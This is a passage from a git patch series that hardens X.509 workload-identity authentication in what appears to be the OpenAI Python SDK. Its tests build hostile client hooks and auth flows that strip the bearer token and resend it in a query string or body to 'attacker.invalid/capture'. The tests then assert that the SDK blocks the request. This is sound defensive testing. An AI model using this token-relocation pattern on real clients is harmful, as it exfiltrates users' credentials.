transport=httpx2.MockTransport(lambda value: _record(requests, value)), + event_hooks={"request": [relocate_credential]}, + ) + reconstructed = delegate.build_request(request.method, request.url) + reconstructed.headers.update(request.headers) + return delegate.send(reconstructed, **kwargs) + + transport = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + @pytest.mark.parametrize("redirect", [False, True]) @pytest.mark.parametrize("delegate_source", ["factory", "lazy", "bound", "dispatch"]) @pytest.mark.parametrize("reconstruct", [False, True]) @@ -597,6 +636,40 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert factory_delegate.event_hooks["request"] == [redirect_request] +@pytest.mark.parametrize("credential_location", ["query", "body"]) +async def test_async_x509_rejects_lazy_delegate_hooks_that_move_credentials_outside_headers( + credential_location: str, +) -> None: + requests: list[httpx2.Request] = [] + + async def relocate_credential(request: httpx2.Request) -> None: + token = request.headers.pop("Authorization").removeprefix("Bearer ") + request.url = httpx2.URL(f"https://attacker.invalid/capture?credential={token}") + if credential_location == "body": + request.url = httpx2.URL("https://attacker.invalid/capture") + request._content = token.encode() + request.headers["host"] = "attacker.invalid" + request.extensions.clear() + + class DelegatingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + delegate = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda value: _record(requests, value)), + event_hooks={"request": [relocate_credential]}, + ) + reconstructed = delegate.build_request(request.method, request.url) + reconstructed.headers.update(request.headers) + return await delegate.send(reconstructed, **kwargs) + + transport = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + @pytest.mark.parametrize("authorization", [None, "Bearer telemetry-token"]) def test_sync_x509_allows_telemetry_from_a_separately_created_http_client(authorization: str | None) -> None: requests: list[httpx2.Request] = [] @@ -1714,6 +1787,103 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == [_TOKEN_URL] +def test_sync_x509_releases_auxiliary_markers_while_protected_requests_overlap() -> None: + first_active = threading.Event() + release_first = threading.Event() + original_markers = set(_ACTIVE_AUXILIARY_TRANSPORT_MARKERS) + + class ConcurrentClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + if request.headers.get("Authorization") == "Bearer token-one": + first_active.set() + assert release_first.wait(timeout=10) + else: + for _ in range(8): + assert self.get("https://telemetry.example/collect").status_code == 200 + assert _ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers + self.build_request("GET", "https://telemetry.example/unsent") + return super().send(request, **kwargs) + + def response(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + suffix = json.loads(request.content)["identity_provider_id"].rsplit("-", 1)[-1] + return httpx2.Response(200, request=request, json={"access_token": f"token-{suffix}", "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + transport = ConcurrentClient(transport=httpx2.MockTransport(response)) + clients = [ + OpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + with ThreadPoolExecutor(max_workers=2) as executor: + first = executor.submit(clients[0].models.list) + assert first_active.wait(timeout=5) + second = executor.submit(clients[1].models.list) + assert second.result(timeout=5).object == "list" + assert _ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers + assert not _client_transport_scope(transport, is_async=False)._auxiliary_request_markers + release_first.set() + assert first.result(timeout=5).object == "list" + + assert not any(marker not in original_markers for marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES) + + +async def test_async_x509_releases_auxiliary_markers_while_protected_requests_overlap() -> None: + first_active = asyncio.Event() + release_first = asyncio.Event() + original_markers = set(_ACTIVE_AUXILIARY_TRANSPORT_MARKERS) + + class ConcurrentClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + if request.headers.get("Authorization") == "Bearer token-one": + first_active.set() + await asyncio.wait_for(release_first.wait(), timeout=10) + else: + for _ in range(8): + assert (await self.get("https://telemetry.example/collect")).status_code == 200 + assert _ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers + self.build_request("GET", "https://telemetry.example/unsent") + return await super().send(request, **kwargs) + + def response(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + suffix = json.loads(request.content)["identity_provider_id"].rsplit("-", 1)[-1] + return httpx2.Response(200, request=request, json={"access_token": f"token-{suffix}", "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + transport = ConcurrentClient(transport=httpx2.MockTransport(response)) + clients = [ + AsyncOpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + async def request_first() -> Any: + return await clients[0].models.list() + + first = asyncio.create_task(request_first()) + await asyncio.wait_for(first_active.wait(), timeout=5) + assert (await clients[1].models.list()).object == "list" + assert _ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers + assert not _client_transport_scope(transport, is_async=True)._auxiliary_request_markers + release_first.set() + assert (await asyncio.wait_for(first, timeout=5)).object == "list" + + assert not any(marker not in original_markers for marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES) + + def test_sync_x509_allows_concurrent_origins_with_the_same_access_token() -> None: both_active = threading.Barrier(2) From 29856a60464e636333b951e2f2f46eb2973676b3 Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 11:44:13 -0700 Subject: [PATCH 10/13] fix(auth): scope delegated requests before HTTPX auth flows --- src/openai/auth/_x509.py | 31 ++++++++++++++++-- .../test_x509_workload_identity_transport.py | 32 ++++++++++++++++--- 2 files changed, 56 insertions(+), 7 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 8b2cfbf5c4..81d1431bc9 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -818,7 +818,7 @@ def release(reference: ReferenceType[Any]) -> None: _CLIENT_SEND_GUARD_LOCK = threading.RLock() _CLIENT_SEND_GUARD_STATE = {"users": 0} -_ORIGINAL_CLIENT_DISPATCH_METHODS: dict[type[Any], tuple[Any, Any, Any, Any]] = {} +_ORIGINAL_CLIENT_DISPATCH_METHODS: dict[type[Any], tuple[Any, Any, Any, Any, Any, Any]] = {} def _active_request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: @@ -919,6 +919,7 @@ def _guarded_client_redirects(http_client: Any, request: httpx2.Request, *, is_a def _guard_client_dispatch_method(client_type: type[Any], *, is_async: bool) -> None: original_dispatch = client_type._send_single_request original_redirects = client_type._send_handling_redirects + original_auth = client_type._send_handling_auth if is_async: @wraps(original_dispatch) @@ -934,6 +935,13 @@ async def guarded_async_redirects(client: Any, request: httpx2.Request, *args: A return await original_redirects(client, request, *args, **kwargs) guarded_redirects: Any = guarded_async_redirects + + @wraps(original_auth) + async def guarded_async_auth(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + with _guarded_client_redirects(client, request, is_async=True): + return await original_auth(client, request, *args, **kwargs) + + guarded_auth: Any = guarded_async_auth else: @wraps(original_dispatch) @@ -950,14 +958,24 @@ def guarded_sync_redirects(client: Any, request: httpx2.Request, *args: Any, **k guarded_redirects = guarded_sync_redirects + @wraps(original_auth) + def guarded_sync_auth(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + with _guarded_client_redirects(client, request, is_async=False): + return original_auth(client, request, *args, **kwargs) + + guarded_auth = guarded_sync_auth + _ORIGINAL_CLIENT_DISPATCH_METHODS[client_type] = ( original_dispatch, guarded_dispatch, original_redirects, guarded_redirects, + original_auth, + guarded_auth, ) client_type._send_single_request = guarded_dispatch client_type._send_handling_redirects = guarded_redirects + client_type._send_handling_auth = guarded_auth @contextmanager @@ -988,11 +1006,20 @@ def _active_client_send_guards() -> Iterator[None]: _CLIENT_SEND_GUARD_STATE["users"] -= 1 if _CLIENT_SEND_GUARD_STATE["users"] == 0: for client_type, methods in _ORIGINAL_CLIENT_DISPATCH_METHODS.items(): - original_dispatch, guarded_dispatch, original_redirects, guarded_redirects = methods + ( + original_dispatch, + guarded_dispatch, + original_redirects, + guarded_redirects, + original_auth, + guarded_auth, + ) = methods if client_type._send_single_request is guarded_dispatch: client_type._send_single_request = original_dispatch if client_type._send_handling_redirects is guarded_redirects: client_type._send_handling_redirects = original_redirects + if client_type._send_handling_auth is guarded_auth: + client_type._send_handling_auth = original_auth _ORIGINAL_CLIENT_DISPATCH_METHODS.clear() diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index 9d04a6a266..ab3de1e585 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -7,7 +7,7 @@ import importlib import threading import subprocess -from typing import Any, cast +from typing import Any, Generator, AsyncGenerator, cast from textwrap import dedent from contextvars import Context from typing_extensions import override @@ -534,6 +534,7 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: original_send = httpx2.Client.send original_dispatch = httpx2.Client._send_single_request + original_auth = httpx2.Client._send_handling_auth http_client = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: if redirect: @@ -546,13 +547,15 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == expected assert httpx2.Client.send is original_send assert httpx2.Client._send_single_request is original_dispatch + assert httpx2.Client._send_handling_auth is original_auth if factory_delegate is not None: assert factory_delegate.event_hooks["request"] == [redirect_request] @pytest.mark.parametrize("credential_location", ["query", "body"]) +@pytest.mark.parametrize("mutation_source", ["hook", "auth"]) def test_sync_x509_rejects_lazy_delegate_hooks_that_move_credentials_outside_headers( - credential_location: str, + credential_location: str, mutation_source: str ) -> None: requests: list[httpx2.Request] = [] @@ -565,15 +568,23 @@ def relocate_credential(request: httpx2.Request) -> None: request.headers["host"] = "attacker.invalid" request.extensions.clear() + class RelocatingAuth(httpx2.Auth): + @override + def auth_flow(self, request: httpx2.Request) -> Generator[httpx2.Request, httpx2.Response, None]: + relocate_credential(request) + yield request + class DelegatingClient(httpx2.Client): @override def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: delegate = httpx2.Client( transport=httpx2.MockTransport(lambda value: _record(requests, value)), - event_hooks={"request": [relocate_credential]}, + event_hooks={"request": [relocate_credential] if mutation_source == "hook" else []}, ) reconstructed = delegate.build_request(request.method, request.url) reconstructed.headers.update(request.headers) + if mutation_source == "auth": + kwargs["auth"] = RelocatingAuth() return delegate.send(reconstructed, **kwargs) transport = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) @@ -620,6 +631,7 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: original_send = httpx2.AsyncClient.send original_dispatch = httpx2.AsyncClient._send_single_request + original_auth = httpx2.AsyncClient._send_handling_auth http_client = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: if redirect: @@ -632,13 +644,15 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == expected assert httpx2.AsyncClient.send is original_send assert httpx2.AsyncClient._send_single_request is original_dispatch + assert httpx2.AsyncClient._send_handling_auth is original_auth if factory_delegate is not None: assert factory_delegate.event_hooks["request"] == [redirect_request] @pytest.mark.parametrize("credential_location", ["query", "body"]) +@pytest.mark.parametrize("mutation_source", ["hook", "auth"]) async def test_async_x509_rejects_lazy_delegate_hooks_that_move_credentials_outside_headers( - credential_location: str, + credential_location: str, mutation_source: str ) -> None: requests: list[httpx2.Request] = [] @@ -651,15 +665,23 @@ async def relocate_credential(request: httpx2.Request) -> None: request.headers["host"] = "attacker.invalid" request.extensions.clear() + class RelocatingAuth(httpx2.Auth): + @override + async def async_auth_flow(self, request: httpx2.Request) -> AsyncGenerator[httpx2.Request, httpx2.Response]: + await relocate_credential(request) + yield request + class DelegatingClient(httpx2.AsyncClient): @override async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: delegate = httpx2.AsyncClient( transport=httpx2.MockTransport(lambda value: _record(requests, value)), - event_hooks={"request": [relocate_credential]}, + event_hooks={"request": [relocate_credential] if mutation_source == "hook" else []}, ) reconstructed = delegate.build_request(request.method, request.url) reconstructed.headers.update(request.headers) + if mutation_source == "auth": + kwargs["auth"] = RelocatingAuth() return await delegate.send(reconstructed, **kwargs) transport = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) From 3040d80d938777c212c423f28323094d7de61556 Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 11:56:48 -0700 Subject: [PATCH 11/13] fix(auth): replace inherited authorization headers case-insensitively --- src/openai/_client.py | 4 ++ .../test_x509_workload_identity_hardening.py | 42 +++++++++++++++++++ 2 files changed, 46 insertions(+) diff --git a/src/openai/_client.py b/src/openai/_client.py index d9489f4e64..9eee755210 100644 --- a/src/openai/_client.py +++ b/src/openai/_client.py @@ -726,6 +726,8 @@ def copy( if name.lower() != "authorization" or value not in self._ambient_authorizations } if default_headers is not None: + if any(name.lower() == "authorization" for name in default_headers): + headers = {name: value for name, value in headers.items() if name.lower() != "authorization"} headers = {**headers, **default_headers} elif set_default_headers is not None: headers = set_default_headers @@ -1480,6 +1482,8 @@ def copy( if name.lower() != "authorization" or value not in self._ambient_authorizations } if default_headers is not None: + if any(name.lower() == "authorization" for name in default_headers): + headers = {name: value for name, value in headers.items() if name.lower() != "authorization"} headers = {**headers, **default_headers} elif set_default_headers is not None: headers = set_default_headers diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py index 03fcae325b..fa0ecaba76 100644 --- a/tests/test_x509_workload_identity_hardening.py +++ b/tests/test_x509_workload_identity_hardening.py @@ -82,6 +82,48 @@ async def test_async_switch_to_x509_discards_inherited_ambient_authorization( assert requests[-1].headers["Authorization"] == "Bearer access-token" +@pytest.mark.parametrize("ambient_header", ["authorization", "aUtHoRiZaTiOn"]) +def test_sync_switch_to_x509_discards_ambient_authorization_from_an_explicit_intermediate_copy( + monkeypatch: pytest.MonkeyPatch, ambient_header: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{ambient_header}: Bearer ambient-secret") + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + intermediate = original.with_options(default_headers={"Authorization": "Bearer workload-identity-auth"}) + assert httpx2.Headers(intermediate._custom_headers).get_list("Authorization") == [ + "Bearer workload-identity-auth" + ] + copied = intermediate.with_options(workload_identity=_identity()) + assert httpx2.Headers(copied._custom_headers).get_list("Authorization") == ["Bearer workload-identity-auth"] + assert copied.models.list().object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + +@pytest.mark.parametrize("ambient_header", ["authorization", "aUtHoRiZaTiOn"]) +async def test_async_switch_to_x509_discards_ambient_authorization_from_an_explicit_intermediate_copy( + monkeypatch: pytest.MonkeyPatch, ambient_header: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{ambient_header}: Bearer ambient-secret") + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + intermediate = original.with_options(default_headers={"Authorization": "Bearer workload-identity-auth"}) + assert httpx2.Headers(intermediate._custom_headers).get_list("Authorization") == [ + "Bearer workload-identity-auth" + ] + copied = intermediate.with_options(workload_identity=_identity()) + assert httpx2.Headers(copied._custom_headers).get_list("Authorization") == ["Bearer workload-identity-auth"] + assert (await copied.models.list()).object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + def test_sync_switch_to_x509_discards_every_mixed_case_ambient_authorization( monkeypatch: pytest.MonkeyPatch, ) -> None: From 7b91f070b1e29e1a025909a2cb3214a86d647fdf Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 12:47:11 -0700 Subject: [PATCH 12/13] fix(auth): retain protected scope across recursive request rebuilds --- src/openai/auth/_x509.py | 47 ++- .../test_x509_workload_identity_transport.py | 389 ++++++++++++++++++ 2 files changed, 433 insertions(+), 3 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 81d1431bc9..aef0df4e0a 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -11,7 +11,7 @@ from functools import wraps from contextlib import ExitStack, contextmanager from contextvars import ContextVar -from urllib.parse import unquote +from urllib.parse import unquote, unquote_to_bytes from typing_extensions import TypeIs, override import anyio @@ -121,7 +121,12 @@ def _is_unprotected_transport_request(request: httpx2.Request) -> bool: def _request_contains_access_token(request: httpx2.Request, authorization: str) -> bool: access_token = authorization.removeprefix("Bearer ") - return any(access_token in value or access_token in unquote(value) for value in request.headers.values()) + buffered_content = vars(request).get("_content") + return ( + any(access_token in value or access_token in unquote(value) for value in request.headers.values()) + or access_token.encode() in unquote_to_bytes(request.url.query) + or (isinstance(buffered_content, bytes) and access_token.encode() in unquote_to_bytes(buffered_content)) + ) def _request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: @@ -526,7 +531,9 @@ def __init__(self, http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: def _build_auxiliary_request(self, *args: Any, **kwargs: Any) -> httpx2.Request: request = cast(httpx2.Request, self._original_build_request(*args, **kwargs)) - self._mark_auxiliary_request(request) + self._mark_auxiliary_request( + request, recursive=self._send_depth.get() > 0 and request.headers.get("Authorization") is None + ) return request def _mark_auxiliary_request(self, request: httpx2.Request, *, recursive: bool = False) -> None: @@ -540,6 +547,20 @@ def _mark_auxiliary_request(self, request: httpx2.Request, *, recursive: bool = return authorization = request.headers.get("Authorization") + protected_authorization = active_scope[2] + if ( + recursive + and authorization is None + and protected_authorization is not None + and _request_contains_access_token(request, protected_authorization) + ): + protected_marker = active_scope[0].extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) + with self._lock: + if type(protected_marker) is object and protected_marker in self._request_scopes: + request.extensions[_API_TRANSPORT_SCOPE_EXTENSION] = protected_marker + self._bind_request(request, protected_marker) + return + if recursive and authorization is not None and request.method == active_scope[0].method: protected_headers = { name: value @@ -853,6 +874,26 @@ def _active_request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Req for matched_scope in exact_header_scopes if exact_header_scopes else header_scopes: if matched_scope not in matching_scopes: matching_scopes.append(matched_scope) + + trusted_authorization = ( + request_scope is not None + and authorization == request_scope[2] + and (request is request_scope[0] or marked_scope) + ) + if not trusted_authorization and str(request.url) != _X509_TOKEN_EXCHANGE_URL: + decoded_query = unquote_to_bytes(request.url.query) + buffered_content = vars(request).get("_content") + if isinstance(buffered_content, bytes) and b"%" in buffered_content: + buffered_content = unquote_to_bytes(buffered_content) + for scope in active_scopes: + if scope[2] is None or scope in matching_scopes: + continue + access_token = scope[2].removeprefix("Bearer ") + if access_token.encode() in decoded_query or ( + isinstance(buffered_content, bytes) and access_token.encode() in buffered_content + ): + matching_scopes.append(scope) + if len({(scope[1].host, scope[1].port) for scope in matching_scopes}) > 1: trusted_scope = request_scope is not None and (request is request_scope[0] or marked_scope) if ( diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index ab3de1e585..76d005e6cf 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -328,6 +328,267 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == [_TOKEN_URL] +@pytest.mark.parametrize("credential_location", ["query", "query_key", "body", "encoded_body"]) +@pytest.mark.parametrize("change_headers", [False, True]) +@pytest.mark.parametrize("change_method", [False, True]) +@pytest.mark.parametrize("use_client_builder", [False, True]) +def test_sync_x509_rejects_recursive_rebuilds_that_move_credentials_outside_headers( + credential_location: str, change_headers: bool, change_method: bool, use_client_builder: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + access_token = request.headers["Authorization"].removeprefix("Bearer ") + url = "https://attacker.invalid/capture" + if credential_location == "query": + url = f"{url}?credential={access_token}" + elif credential_location == "query_key": + url = f"{url}?{access_token}=1" + content = None + if credential_location == "body": + content = access_token.encode() + elif credential_location == "encoded_body": + content = access_token.replace("-", "%2D").encode() + method = "POST" if change_method else request.method + headers = {name: value for name, value in request.headers.items() if name.lower() != "authorization"} + if use_client_builder: + copied = self.build_request(method, url, headers=headers, content=content) + else: + copied = httpx2.Request(method, url, headers=headers, content=content) + copied.headers["host"] = "attacker.invalid" + if change_headers: + copied.headers["User-Agent"] = "reconstructed-client/1" + return self.send(copied, **kwargs) + return super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("credential_location", ["query", "query_key", "body", "encoded_body"]) +@pytest.mark.parametrize("change_headers", [False, True]) +@pytest.mark.parametrize("change_method", [False, True]) +@pytest.mark.parametrize("use_client_builder", [False, True]) +async def test_async_x509_rejects_recursive_rebuilds_that_move_credentials_outside_headers( + credential_location: str, change_headers: bool, change_method: bool, use_client_builder: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + access_token = request.headers["Authorization"].removeprefix("Bearer ") + url = "https://attacker.invalid/capture" + if credential_location == "query": + url = f"{url}?credential={access_token}" + elif credential_location == "query_key": + url = f"{url}?{access_token}=1" + content = None + if credential_location == "body": + content = access_token.encode() + elif credential_location == "encoded_body": + content = access_token.replace("-", "%2D").encode() + method = "POST" if change_method else request.method + headers = {name: value for name, value in request.headers.items() if name.lower() != "authorization"} + if use_client_builder: + copied = self.build_request(method, url, headers=headers, content=content) + else: + copied = httpx2.Request(method, url, headers=headers, content=content) + copied.headers["host"] = "attacker.invalid" + if change_headers: + copied.headers["User-Agent"] = "reconstructed-client/1" + return await self.send(copied, **kwargs) + return await super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("query_key", [False, True]) +def test_sync_x509_rejects_recursive_query_credentials_with_literal_plus(query_key: bool) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": "alpha+bravo", "expires_in": 3600}) + return _response(request) + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + access_token = request.headers["Authorization"].removeprefix("Bearer ") + query = f"{access_token}=1" if query_key else f"credential={access_token}" + return self.send(httpx2.Request("POST", f"https://attacker.invalid/capture?{query}"), **kwargs) + return super().send(request, **kwargs) + + transport = ReconstructingClient(transport=httpx2.MockTransport(handler)) + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("query_key", [False, True]) +async def test_async_x509_rejects_recursive_query_credentials_with_literal_plus(query_key: bool) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": "alpha+bravo", "expires_in": 3600}) + return _response(request) + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + access_token = request.headers["Authorization"].removeprefix("Bearer ") + query = f"{access_token}=1" if query_key else f"credential={access_token}" + return await self.send(httpx2.Request("POST", f"https://attacker.invalid/capture?{query}"), **kwargs) + return await super().send(request, **kwargs) + + transport = ReconstructingClient(transport=httpx2.MockTransport(handler)) + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("percent_encode", [False, True]) +@pytest.mark.parametrize("use_client_builder", [False, True]) +def test_sync_x509_rejects_recursive_credential_bodies_matching_auxiliary_requests( + percent_encode: bool, use_client_builder: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + url = "https://attacker.invalid/capture" + self.build_request("POST", url) + access_token = request.headers["Authorization"].removeprefix("Bearer ") + content = access_token.replace("-", "%2D").encode() if percent_encode else access_token.encode() + if use_client_builder: + copied = self.build_request("POST", url, content=content) + else: + copied = httpx2.Request("POST", url, content=content) + return self.send(copied, **kwargs) + return super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("percent_encode", [False, True]) +@pytest.mark.parametrize("use_client_builder", [False, True]) +async def test_async_x509_rejects_recursive_credential_bodies_matching_auxiliary_requests( + percent_encode: bool, use_client_builder: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + url = "https://attacker.invalid/capture" + self.build_request("POST", url) + access_token = request.headers["Authorization"].removeprefix("Bearer ") + content = access_token.replace("-", "%2D").encode() if percent_encode else access_token.encode() + if use_client_builder: + copied = self.build_request("POST", url, content=content) + else: + copied = httpx2.Request("POST", url, content=content) + return await self.send(copied, **kwargs) + return await super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("credential_location", ["query", "body", "encoded_body"]) +def test_sync_x509_rejects_recursive_credential_rebuilds_in_fresh_threads(credential_location: str) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + access_token = request.headers["Authorization"].removeprefix("Bearer ") + url = "https://attacker.invalid/capture" + content = None + if credential_location == "query": + url = f"{url}?credential={access_token.replace('-', '%2D')}" + elif credential_location == "encoded_body": + content = access_token.replace("-", "%2D").encode() + else: + content = access_token.encode() + copied = httpx2.Request("POST", url, content=content) + with ThreadPoolExecutor(max_workers=1) as executor: + return executor.submit(self.send, copied, **kwargs).result() + return super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("credential_location", ["query", "body", "encoded_body"]) +async def test_async_x509_rejects_recursive_credential_rebuilds_in_fresh_contexts(credential_location: str) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + access_token = request.headers["Authorization"].removeprefix("Bearer ") + url = "https://attacker.invalid/capture" + content = None + if credential_location == "query": + url = f"{url}?credential={access_token.replace('-', '%2D')}" + elif credential_location == "encoded_body": + content = access_token.replace("-", "%2D").encode() + else: + content = access_token.encode() + 